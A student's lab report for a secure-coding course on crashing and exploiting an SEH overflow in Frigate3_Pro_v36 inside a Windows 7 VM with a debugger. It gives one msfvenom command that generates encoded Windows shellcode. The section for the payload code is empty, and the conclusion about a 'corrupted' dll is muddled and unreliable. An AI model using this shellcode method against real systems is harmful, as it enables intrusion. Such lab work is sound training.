# SECURE CODING LAB 10

NAME: M.KARTHIK REGNO: 19BCN7222

# **ASSIGNMENT - 10**

Lab experiment - Working with the memory vulnerabilities – Part IV

#### **Task**

- Download Frigate3\_Pro\_v36 from teams (check folder named 17.04.2021).
- Deploy a virtual windows 7 instance and copy the Frigate3\_Pro\_v36 into it.
- Install Immunity debugger or ollydbg in windows7
- Install Frigate3\_Pro\_v36 and Run the same
- Download and install python 2.7.\* or 3.5.\*
- Run the exploit script II (exploit2.py-check today's folder) to generate the payload

### **Analysis**

- Try to crash the Frigate3\_Pro\_v36 and exploit it.
- Change the default trigger from cmd.exe to calc.exe (Use msfvenom in Kali linux).

**Example:** 

msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha\_mixed -b "\x00\x14\x09\x0a\x0d" -f python

- Attach the debugger (immunity debugger or ollydbg) and analyse the address of various registers listed below
- Check for EIP address
- Verify the starting and ending addresses of stack frame
- Verify the SEH chain and report the dll loaded along with the addresses. For viewing SEH chain, goto view → SEH

Happy Learning!!!!!!

### **Payload Generation:**

### (1) The python code used to generate the payload

```

Verifying the SHE chain and reporting the dll loaded along with the addresses.

Hence from the above analysis we found that the dll 'rtl60.40010C4B' is corrupted and is located at the address '0018F2A0'.
